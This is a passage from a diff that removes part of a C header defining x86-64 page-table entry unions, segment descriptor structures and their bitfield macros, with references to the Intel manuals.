PDPTE_64_PAGE_LEVEL_WRITE_THROUGH_BIT 3 -#define PDPTE_64_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 -#define PDPTE_64_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 -#define PDPTE_64_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the page directory referenced by - * this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint64_t page_level_cache_disable : 1; -#define PDPTE_64_PAGE_LEVEL_CACHE_DISABLE_BIT 4 -#define PDPTE_64_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 -#define PDPTE_64_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 -#define PDPTE_64_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] Accessed; indicates whether this entry has been used for linear-address translation. - * - * @see Vol3A[4.8(Accessed and Dirty Flags)] - */ - uint64_t accessed : 1; -#define PDPTE_64_ACCESSED_BIT 5 -#define PDPTE_64_ACCESSED_FLAG 0x20 -#define PDPTE_64_ACCESSED_MASK 0x01 -#define PDPTE_64_ACCESSED(_) (((_) >> 5) & 0x01) - uint64_t reserved1 : 1; - - /** - * [Bit 7] Page size; must be 0 (otherwise, this entry maps a 1-GByte page). - */ - uint64_t large_page : 1; -#define PDPTE_64_LARGE_PAGE_BIT 7 -#define PDPTE_64_LARGE_PAGE_FLAG 0x80 -#define PDPTE_64_LARGE_PAGE_MASK 0x01 -#define PDPTE_64_LARGE_PAGE(_) (((_) >> 7) & 0x01) - - /** - * [Bits 11:8] Ignored. - */ - uint64_t ignored_1 : 4; -#define PDPTE_64_IGNORED_1_BIT 8 -#define PDPTE_64_IGNORED_1_FLAG 0xF00 -#define PDPTE_64_IGNORED_1_MASK 0x0F -#define PDPTE_64_IGNORED_1(_) (((_) >> 8) & 0x0F) - - /** - * [Bits 47:12] Physical address of 4-KByte aligned page directory referenced by this entry. - */ - uint64_t page_frame_number : 36; -#define PDPTE_64_PAGE_FRAME_NUMBER_BIT 12 -#define PDPTE_64_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 -#define PDPTE_64_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF -#define PDPTE_64_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) - uint64_t reserved2 : 4; - - /** - * [Bits 62:52] Ignored. - */ - uint64_t ignored_2 : 11; -#define PDPTE_64_IGNORED_2_BIT 52 -#define PDPTE_64_IGNORED_2_FLAG 0x7FF0000000000000 -#define PDPTE_64_IGNORED_2_MASK 0x7FF -#define PDPTE_64_IGNORED_2(_) (((_) >> 52) & 0x7FF) - - /** - * [Bit 63] If IA32_EFER.NXE = 1, execute-disable (if 1, instruction fetches are not allowed from the 1-GByte region - * controlled by this entry); otherwise, reserved (must be 0). - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t execute_disable : 1; -#define PDPTE_64_EXECUTE_DISABLE_BIT 63 -#define PDPTE_64_EXECUTE_DISABLE_FLAG 0x8000000000000000 -#define PDPTE_64_EXECUTE_DISABLE_MASK 0x01 -#define PDPTE_64_EXECUTE_DISABLE(_) (((_) >> 63) & 0x01) - }; - - uint64_t flags; -} pdpte_64; - -/** - * @brief Format of a 4-Level Page-Directory Entry that Maps a 2-MByte Page - */ -typedef union -{ - struct - { - /** - * [Bit 0] Present; must be 1 to map a 2-MByte page. - */ - uint64_t present : 1; -#define PDE_2MB_64_PRESENT_BIT 0 -#define PDE_2MB_64_PRESENT_FLAG 0x01 -#define PDE_2MB_64_PRESENT_MASK 0x01 -#define PDE_2MB_64_PRESENT(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Read/write; if 0, writes may not be allowed to the 2-MByte page referenced by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t write : 1; -#define PDE_2MB_64_WRITE_BIT 1 -#define PDE_2MB_64_WRITE_FLAG 0x02 -#define PDE_2MB_64_WRITE_MASK 0x01 -#define PDE_2MB_64_WRITE(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 2-MByte page referenced by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t supervisor : 1; -#define PDE_2MB_64_SUPERVISOR_BIT 2 -#define PDE_2MB_64_SUPERVISOR_FLAG 0x04 -#define PDE_2MB_64_SUPERVISOR_MASK 0x01 -#define PDE_2MB_64_SUPERVISOR(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the 2-MByte page referenced by - * this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint64_t page_level_write_through : 1; -#define PDE_2MB_64_PAGE_LEVEL_WRITE_THROUGH_BIT 3 -#define PDE_2MB_64_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 -#define PDE_2MB_64_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 -#define PDE_2MB_64_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the 2-MByte page referenced by - * this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint64_t page_level_cache_disable : 1; -#define PDE_2MB_64_PAGE_LEVEL_CACHE_DISABLE_BIT 4 -#define PDE_2MB_64_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 -#define PDE_2MB_64_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 -#define PDE_2MB_64_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] Accessed; indicates whether software has accessed the 2-MByte page referenced by this entry. - * - * @see Vol3A[4.8(Accessed and Dirty Flags)] - */ - uint64_t accessed : 1; -#define PDE_2MB_64_ACCESSED_BIT 5 -#define PDE_2MB_64_ACCESSED_FLAG 0x20 -#define PDE_2MB_64_ACCESSED_MASK 0x01 -#define PDE_2MB_64_ACCESSED(_) (((_) >> 5) & 0x01) - - /** - * [Bit 6] Dirty; indicates whether software has written to the 2-MByte page referenced by this entry. - * - * @see Vol3A[4.8(Accessed and Dirty Flags)] - */ - uint64_t dirty : 1; -#define PDE_2MB_64_DIRTY_BIT 6 -#define PDE_2MB_64_DIRTY_FLAG 0x40 -#define PDE_2MB_64_DIRTY_MASK 0x01 -#define PDE_2MB_64_DIRTY(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] Page size; must be 1 (otherwise, this entry references a page directory). - */ - uint64_t large_page : 1; -#define PDE_2MB_64_LARGE_PAGE_BIT 7 -#define PDE_2MB_64_LARGE_PAGE_FLAG 0x80 -#define PDE_2MB_64_LARGE_PAGE_MASK 0x01 -#define PDE_2MB_64_LARGE_PAGE(_) (((_) >> 7) & 0x01) - - /** - * [Bit 8] Global; if CR4.PGE = 1, determines whether the translation is global; ignored otherwise. - * - * @see Vol3A[4.10(Caching Translation Information)] - */ - uint64_t global : 1; -#define PDE_2MB_64_GLOBAL_BIT 8 -#define PDE_2MB_64_GLOBAL_FLAG 0x100 -#define PDE_2MB_64_GLOBAL_MASK 0x01 -#define PDE_2MB_64_GLOBAL(_) (((_) >> 8) & 0x01) - - /** - * [Bits 11:9] Ignored. - */ - uint64_t ignored_1 : 3; -#define PDE_2MB_64_IGNORED_1_BIT 9 -#define PDE_2MB_64_IGNORED_1_FLAG 0xE00 -#define PDE_2MB_64_IGNORED_1_MASK 0x07 -#define PDE_2MB_64_IGNORED_1(_) (((_) >> 9) & 0x07) - - /** - * [Bit 12] Indirectly determines the memory type used to access the 2-MByte page referenced by this entry. - * - * @note The PAT is supported on all processors that support 4-level paging. - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint64_t pat : 1; -#define PDE_2MB_64_PAT_BIT 12 -#define PDE_2MB_64_PAT_FLAG 0x1000 -#define PDE_2MB_64_PAT_MASK 0x01 -#define PDE_2MB_64_PAT(_) (((_) >> 12) & 0x01) - uint64_t reserved1 : 8; - - /** - * [Bits 47:21] Physical address of the 2-MByte page referenced by this entry. - */ - uint64_t page_frame_number : 27; -#define PDE_2MB_64_PAGE_FRAME_NUMBER_BIT 21 -#define PDE_2MB_64_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFE00000 -#define PDE_2MB_64_PAGE_FRAME_NUMBER_MASK 0x7FFFFFF -#define PDE_2MB_64_PAGE_FRAME_NUMBER(_) (((_) >> 21) & 0x7FFFFFF) - uint64_t reserved2 : 4; - - /** - * [Bits 58:52] Ignored. - */ - uint64_t ignored_2 : 7; -#define PDE_2MB_64_IGNORED_2_BIT 52 -#define PDE_2MB_64_IGNORED_2_FLAG 0x7F0000000000000 -#define PDE_2MB_64_IGNORED_2_MASK 0x7F -#define PDE_2MB_64_IGNORED_2(_) (((_) >> 52) & 0x7F) - - /** - * [Bits 62:59] Protection key; if CR4.PKE = 1, determines the protection key of the page; ignored otherwise. - * - * @see Vol3A[4.6.2(Protection Keys)] - */ - uint64_t protection_key : 4; -#define PDE_2MB_64_PROTECTION_KEY_BIT 59 -#define PDE_2MB_64_PROTECTION_KEY_FLAG 0x7800000000000000 -#define PDE_2MB_64_PROTECTION_KEY_MASK 0x0F -#define PDE_2MB_64_PROTECTION_KEY(_) (((_) >> 59) & 0x0F) - - /** - * [Bit 63] If IA32_EFER.NXE = 1, execute-disable (if 1, instruction fetches are not allowed from the 2-MByte page - * controlled by this entry); otherwise, reserved (must be 0). - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t execute_disable : 1; -#define PDE_2MB_64_EXECUTE_DISABLE_BIT 63 -#define PDE_2MB_64_EXECUTE_DISABLE_FLAG 0x8000000000000000 -#define PDE_2MB_64_EXECUTE_DISABLE_MASK 0x01 -#define PDE_2MB_64_EXECUTE_DISABLE(_) (((_) >> 63) & 0x01) - }; - - uint64_t flags; -} pde_2mb_64; - -/** - * @brief Format of a 4-Level Page-Directory Entry that References a Page Table - */ -typedef union -{ - struct - { - /** - * [Bit 0] Present; must be 1 to reference a page table. - */ - uint64_t present : 1; -#define PDE_64_PRESENT_BIT 0 -#define PDE_64_PRESENT_FLAG 0x01 -#define PDE_64_PRESENT_MASK 0x01 -#define PDE_64_PRESENT(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Read/write; if 0, writes may not be allowed to the 2-MByte region controlled by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t write : 1; -#define PDE_64_WRITE_BIT 1 -#define PDE_64_WRITE_FLAG 0x02 -#define PDE_64_WRITE_MASK 0x01 -#define PDE_64_WRITE(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 2-MByte region controlled by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t supervisor : 1; -#define PDE_64_SUPERVISOR_BIT 2 -#define PDE_64_SUPERVISOR_FLAG 0x04 -#define PDE_64_SUPERVISOR_MASK 0x01 -#define PDE_64_SUPERVISOR(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the page table referenced by this - * entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint64_t page_level_write_through : 1; -#define PDE_64_PAGE_LEVEL_WRITE_THROUGH_BIT 3 -#define PDE_64_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 -#define PDE_64_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 -#define PDE_64_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the page table referenced by this - * entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint64_t page_level_cache_disable : 1; -#define PDE_64_PAGE_LEVEL_CACHE_DISABLE_BIT 4 -#define PDE_64_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 -#define PDE_64_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 -#define PDE_64_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] Accessed; indicates whether this entry has been used for linear-address translation. - * - * @see Vol3A[4.8(Accessed and Dirty Flags)] - */ - uint64_t accessed : 1; -#define PDE_64_ACCESSED_BIT 5 -#define PDE_64_ACCESSED_FLAG 0x20 -#define PDE_64_ACCESSED_MASK 0x01 -#define PDE_64_ACCESSED(_) (((_) >> 5) & 0x01) - uint64_t reserved1 : 1; - - /** - * [Bit 7] Page size; must be 0 (otherwise, this entry maps a 2-MByte page). - */ - uint64_t large_page : 1; -#define PDE_64_LARGE_PAGE_BIT 7 -#define PDE_64_LARGE_PAGE_FLAG 0x80 -#define PDE_64_LARGE_PAGE_MASK 0x01 -#define PDE_64_LARGE_PAGE(_) (((_) >> 7) & 0x01) - - /** - * [Bits 11:8] Ignored. - */ - uint64_t ignored_1 : 4; -#define PDE_64_IGNORED_1_BIT 8 -#define PDE_64_IGNORED_1_FLAG 0xF00 -#define PDE_64_IGNORED_1_MASK 0x0F -#define PDE_64_IGNORED_1(_) (((_) >> 8) & 0x0F) - - /** - * [Bits 47:12] Physical address of 4-KByte aligned page table referenced by this entry. - */ - uint64_t page_frame_number : 36; -#define PDE_64_PAGE_FRAME_NUMBER_BIT 12 -#define PDE_64_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 -#define PDE_64_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF -#define PDE_64_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) - uint64_t reserved2 : 4; - - /** - * [Bits 62:52] Ignored. - */ - uint64_t ignored_2 : 11; -#define PDE_64_IGNORED_2_BIT 52 -#define PDE_64_IGNORED_2_FLAG 0x7FF0000000000000 -#define PDE_64_IGNORED_2_MASK 0x7FF -#define PDE_64_IGNORED_2(_) (((_) >> 52) & 0x7FF) - - /** - * [Bit 63] If IA32_EFER.NXE = 1, execute-disable (if 1, instruction fetches are not allowed from the 2-MByte region - * controlled by this entry); otherwise, reserved (must be 0). - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t execute_disable : 1; -#define PDE_64_EXECUTE_DISABLE_BIT 63 -#define PDE_64_EXECUTE_DISABLE_FLAG 0x8000000000000000 -#define PDE_64_EXECUTE_DISABLE_MASK 0x01 -#define PDE_64_EXECUTE_DISABLE(_) (((_) >> 63) & 0x01) - }; - - uint64_t flags; -} pde_64; - -/** - * @brief Format of a 4-Level Page-Table Entry that Maps a 4-KByte Page - */ -typedef union -{ - struct - { - /** - * [Bit 0] Present; must be 1 to map a 4-KByte page. - */ - uint64_t present : 1; -#define PTE_64_PRESENT_BIT 0 -#define PTE_64_PRESENT_FLAG 0x01 -#define PTE_64_PRESENT_MASK 0x01 -#define PTE_64_PRESENT(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Read/write; if 0, writes may not be allowed to the 4-KByte page referenced by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t write : 1; -#define PTE_64_WRITE_BIT 1 -#define PTE_64_WRITE_FLAG 0x02 -#define PTE_64_WRITE_MASK 0x01 -#define PTE_64_WRITE(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 4-KByte page referenced by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t supervisor : 1; -#define PTE_64_SUPERVISOR_BIT 2 -#define PTE_64_SUPERVISOR_FLAG 0x04 -#define PTE_64_SUPERVISOR_MASK 0x01 -#define PTE_64_SUPERVISOR(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the 4-KByte page referenced by - * this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint64_t page_level_write_through : 1; -#define PTE_64_PAGE_LEVEL_WRITE_THROUGH_BIT 3 -#define PTE_64_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 -#define PTE_64_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 -#define PTE_64_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the 4-KByte page referenced by - * this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint64_t page_level_cache_disable : 1; -#define PTE_64_PAGE_LEVEL_CACHE_DISABLE_BIT 4 -#define PTE_64_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 -#define PTE_64_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 -#define PTE_64_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] Accessed; indicates whether software has accessed the 4-KByte page referenced by this entry. - * - * @see Vol3A[4.8(Accessed and Dirty Flags)] - */ - uint64_t accessed : 1; -#define PTE_64_ACCESSED_BIT 5 -#define PTE_64_ACCESSED_FLAG 0x20 -#define PTE_64_ACCESSED_MASK 0x01 -#define PTE_64_ACCESSED(_) (((_) >> 5) & 0x01) - - /** - * [Bit 6] Dirty; indicates whether software has written to the 4-KByte page referenced by this entry. - * - * @see Vol3A[4.8(Accessed and Dirty Flags)] - */ - uint64_t dirty : 1; -#define PTE_64_DIRTY_BIT 6 -#define PTE_64_DIRTY_FLAG 0x40 -#define PTE_64_DIRTY_MASK 0x01 -#define PTE_64_DIRTY(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] Indirectly determines the memory type used to access the 4-KByte page referenced by this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint64_t pat : 1; -#define PTE_64_PAT_BIT 7 -#define PTE_64_PAT_FLAG 0x80 -#define PTE_64_PAT_MASK 0x01 -#define PTE_64_PAT(_) (((_) >> 7) & 0x01) - - /** - * [Bit 8] Global; if CR4.PGE = 1, determines whether the translation is global; ignored otherwise. - * - * @see Vol3A[4.10(Caching Translation Information)] - */ - uint64_t global : 1; -#define PTE_64_GLOBAL_BIT 8 -#define PTE_64_GLOBAL_FLAG 0x100 -#define PTE_64_GLOBAL_MASK 0x01 -#define PTE_64_GLOBAL(_) (((_) >> 8) & 0x01) - - /** - * [Bits 11:9] Ignored. - */ - uint64_t ignored_1 : 3; -#define PTE_64_IGNORED_1_BIT 9 -#define PTE_64_IGNORED_1_FLAG 0xE00 -#define PTE_64_IGNORED_1_MASK 0x07 -#define PTE_64_IGNORED_1(_) (((_) >> 9) & 0x07) - - /** - * [Bits 47:12] Physical address of the 4-KByte page referenced by this entry. - */ - uint64_t page_frame_number : 36; -#define PTE_64_PAGE_FRAME_NUMBER_BIT 12 -#define PTE_64_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 -#define PTE_64_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF -#define PTE_64_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) - uint64_t reserved1 : 4; - - /** - * [Bits 58:52] Ignored. - */ - uint64_t ignored_2 : 7; -#define PTE_64_IGNORED_2_BIT 52 -#define PTE_64_IGNORED_2_FLAG 0x7F0000000000000 -#define PTE_64_IGNORED_2_MASK 0x7F -#define PTE_64_IGNORED_2(_) (((_) >> 52) & 0x7F) - - /** - * [Bits 62:59] Protection key; if CR4.PKE = 1, determines the protection key of the page; ignored otherwise. - * - * @see Vol3A[4.6.2(Protection Keys)] - */ - uint64_t protection_key : 4; -#define PTE_64_PROTECTION_KEY_BIT 59 -#define PTE_64_PROTECTION_KEY_FLAG 0x7800000000000000 -#define PTE_64_PROTECTION_KEY_MASK 0x0F -#define PTE_64_PROTECTION_KEY(_) (((_) >> 59) & 0x0F) - - /** - * [Bit 63] If IA32_EFER.NXE = 1, execute-disable (if 1, instruction fetches are not allowed from the 1-GByte page - * controlled by this entry); otherwise, reserved (must be 0). - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t execute_disable : 1; -#define PTE_64_EXECUTE_DISABLE_BIT 63 -#define PTE_64_EXECUTE_DISABLE_FLAG 0x8000000000000000 -#define PTE_64_EXECUTE_DISABLE_MASK 0x01 -#define PTE_64_EXECUTE_DISABLE(_) (((_) >> 63) & 0x01) - }; - - uint64_t flags; -} pte_64; - -/** - * @brief Format of a common Page-Table Entry - */ -typedef union -{ - struct - { - uint64_t present : 1; -#define PT_ENTRY_64_PRESENT_BIT 0 -#define PT_ENTRY_64_PRESENT_FLAG 0x01 -#define PT_ENTRY_64_PRESENT_MASK 0x01 -#define PT_ENTRY_64_PRESENT(_) (((_) >> 0) & 0x01) - uint64_t write : 1; -#define PT_ENTRY_64_WRITE_BIT 1 -#define PT_ENTRY_64_WRITE_FLAG 0x02 -#define PT_ENTRY_64_WRITE_MASK 0x01 -#define PT_ENTRY_64_WRITE(_) (((_) >> 1) & 0x01) - uint64_t supervisor : 1; -#define PT_ENTRY_64_SUPERVISOR_BIT 2 -#define PT_ENTRY_64_SUPERVISOR_FLAG 0x04 -#define PT_ENTRY_64_SUPERVISOR_MASK 0x01 -#define PT_ENTRY_64_SUPERVISOR(_) (((_) >> 2) & 0x01) - uint64_t page_level_write_through : 1; -#define PT_ENTRY_64_PAGE_LEVEL_WRITE_THROUGH_BIT 3 -#define PT_ENTRY_64_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 -#define PT_ENTRY_64_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 -#define PT_ENTRY_64_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) - uint64_t page_level_cache_disable : 1; -#define PT_ENTRY_64_PAGE_LEVEL_CACHE_DISABLE_BIT 4 -#define PT_ENTRY_64_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 -#define PT_ENTRY_64_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 -#define PT_ENTRY_64_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) - uint64_t accessed : 1; -#define PT_ENTRY_64_ACCESSED_BIT 5 -#define PT_ENTRY_64_ACCESSED_FLAG 0x20 -#define PT_ENTRY_64_ACCESSED_MASK 0x01 -#define PT_ENTRY_64_ACCESSED(_) (((_) >> 5) & 0x01) - uint64_t dirty : 1; -#define PT_ENTRY_64_DIRTY_BIT 6 -#define PT_ENTRY_64_DIRTY_FLAG 0x40 -#define PT_ENTRY_64_DIRTY_MASK 0x01 -#define PT_ENTRY_64_DIRTY(_) (((_) >> 6) & 0x01) - uint64_t large_page : 1; -#define PT_ENTRY_64_LARGE_PAGE_BIT 7 -#define PT_ENTRY_64_LARGE_PAGE_FLAG 0x80 -#define PT_ENTRY_64_LARGE_PAGE_MASK 0x01 -#define PT_ENTRY_64_LARGE_PAGE(_) (((_) >> 7) & 0x01) - uint64_t global : 1; -#define PT_ENTRY_64_GLOBAL_BIT 8 -#define PT_ENTRY_64_GLOBAL_FLAG 0x100 -#define PT_ENTRY_64_GLOBAL_MASK 0x01 -#define PT_ENTRY_64_GLOBAL(_) (((_) >> 8) & 0x01) - - /** - * [Bits 11:9] Ignored. - */ - uint64_t ignored_1 : 3; -#define PT_ENTRY_64_IGNORED_1_BIT 9 -#define PT_ENTRY_64_IGNORED_1_FLAG 0xE00 -#define PT_ENTRY_64_IGNORED_1_MASK 0x07 -#define PT_ENTRY_64_IGNORED_1(_) (((_) >> 9) & 0x07) - - /** - * [Bits 47:12] Physical address of the 4-KByte page referenced by this entry. - */ - uint64_t page_frame_number : 36; -#define PT_ENTRY_64_PAGE_FRAME_NUMBER_BIT 12 -#define PT_ENTRY_64_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 -#define PT_ENTRY_64_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF -#define PT_ENTRY_64_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) - uint64_t reserved1 : 4; - - /** - * [Bits 58:52] Ignored. - */ - uint64_t ignored_2 : 7; -#define PT_ENTRY_64_IGNORED_2_BIT 52 -#define PT_ENTRY_64_IGNORED_2_FLAG 0x7F0000000000000 -#define PT_ENTRY_64_IGNORED_2_MASK 0x7F -#define PT_ENTRY_64_IGNORED_2(_) (((_) >> 52) & 0x7F) - uint64_t protection_key : 4; -#define PT_ENTRY_64_PROTECTION_KEY_BIT 59 -#define PT_ENTRY_64_PROTECTION_KEY_FLAG 0x7800000000000000 -#define PT_ENTRY_64_PROTECTION_KEY_MASK 0x0F -#define PT_ENTRY_64_PROTECTION_KEY(_) (((_) >> 59) & 0x0F) - uint64_t execute_disable : 1; -#define PT_ENTRY_64_EXECUTE_DISABLE_BIT 63 -#define PT_ENTRY_64_EXECUTE_DISABLE_FLAG 0x8000000000000000 -#define PT_ENTRY_64_EXECUTE_DISABLE_MASK 0x01 -#define PT_ENTRY_64_EXECUTE_DISABLE(_) (((_) >> 63) & 0x01) - }; - - uint64_t flags; -} pt_entry_64; - -/** - * @defgroup paging_structures_entry_count_64 \ - * Paging structures entry counts - * - * Paging structures entry counts. - * @{ - */ -#define PML4E_ENTRY_COUNT_64 0x00000200 -#define PDPTE_ENTRY_COUNT_64 0x00000200 -#define PDE_ENTRY_COUNT_64 0x00000200 -#define PTE_ENTRY_COUNT_64 0x00000200 - /** - * @} - */ - - /** - * @} - */ - - /** - * @} - */ - - /** - * @defgroup segment_descriptors \ - * Segment descriptors - * @{ - */ - /** - * @brief Pseudo-Descriptor Format (32-bit) - * - * @see Vol3A[3.5.1(Segment Descriptor Tables)] (reference) - */ -#pragma pack(push, 1) -typedef struct -{ - /** - * Limit. - */ - uint16_t limit; - - /** - * Base Address. - */ - uint32_t base_address; -} segment_descriptor_register_32; -#pragma pack(pop) - -/** - * @brief Pseudo-Descriptor Format (64-bit) - * - * @see Vol3A[3.5.1(Segment Descriptor Tables)] (reference) - */ -#pragma pack(push, 1) -typedef struct -{ - /** - * Limit. - */ - uint16_t limit; - - /** - * Base Address. - */ - uint64_t base_address; -} segment_descriptor_register_64; -#pragma pack(pop) - -/** - * @brief Segment access rights - * - * @see Vol2A[3.2(Instructions (A-L) | LAR-Load Access Rights Byte)] (reference) - */ -typedef union -{ - struct - { - uint32_t reserved1 : 8; - - /** - * @brief Type field - * - * [Bits 11:8] Indicates the segment or gate type and specifies the kinds of access that can be made to the segment and the - * direction of growth. The interpretation of this field depends on whether the descriptor type flag specifies an - * application (code or data) descriptor or a system descriptor. The encoding of the type field is different for code, - * data, and system descriptors. - * - * @see Vol3A[3.4.5.1(Code- and Data-Segment Descriptor Types)] - */ - uint32_t type : 4; -#define SEGMENT_ACCESS_RIGHTS_TYPE_BIT 8 -#define SEGMENT_ACCESS_RIGHTS_TYPE_FLAG 0xF00 -#define SEGMENT_ACCESS_RIGHTS_TYPE_MASK 0x0F -#define SEGMENT_ACCESS_RIGHTS_TYPE(_) (((_) >> 8) & 0x0F) - - /** - * @brief S (descriptor type) flag - * - * [Bit 12] Specifies whether the segment descriptor is for a system segment (S flag is clear) or a code or data segment (S - * flag is set). - */ - uint32_t descriptor_type : 1; -#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE_BIT 12 -#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE_FLAG 0x1000 -#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE_MASK 0x01 -#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE(_) (((_) >> 12) & 0x01) - - /** - * @brief DPL (descriptor privilege level) field - * - * [Bits 14:13] Specifies the privilege level of the segment. The privilege level can range from 0 to 3, with 0 being the - * most privileged level. The DPL is used to control access to the segment. See Section 5.5, "Privilege Levels", for a - * description of the relationship of the DPL to the CPL of the executing code segment and the RPL of a segment selector. - */ - uint32_t descriptor_privilege_level : 2; -#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL_BIT 13 -#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL_FLAG 0x6000 -#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL_MASK 0x03 -#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL(_) (((_) >> 13) & 0x03) - - /** - * @brief P (segment-present) flag - * - * [Bit 15] Indicates whether the segment is present in memory (set) or not present (clear). If this flag is clear, the - * processor generates a segment-not-present exception (\#NP) when a segment selector that points to the segment descriptor - * is loaded into a segment register. Memory management software can use this flag to control which segments are actually - * loaded into physical memory at a given time. It offers a control in addition to paging for managing virtual memory. - */ - uint32_t present : 1; -#define SEGMENT_ACCESS_RIGHTS_PRESENT_BIT 15 -#define SEGMENT_ACCESS_RIGHTS_PRESENT_FLAG 0x8000 -#define SEGMENT_ACCESS_RIGHTS_PRESENT_MASK 0x01 -#define SEGMENT_ACCESS_RIGHTS_PRESENT(_) (((_) >> 15) & 0x01) - uint32_t reserved2 : 4; - - /** - * @brief Available bit - * - * [Bit 20] Bit 20 of the second doubleword of the segment descriptor is available for use by system software. - */ - uint32_t system : 1; -#define SEGMENT_ACCESS_RIGHTS_SYSTEM_BIT 20 -#define SEGMENT_ACCESS_RIGHTS_SYSTEM_FLAG 0x100000 -#define 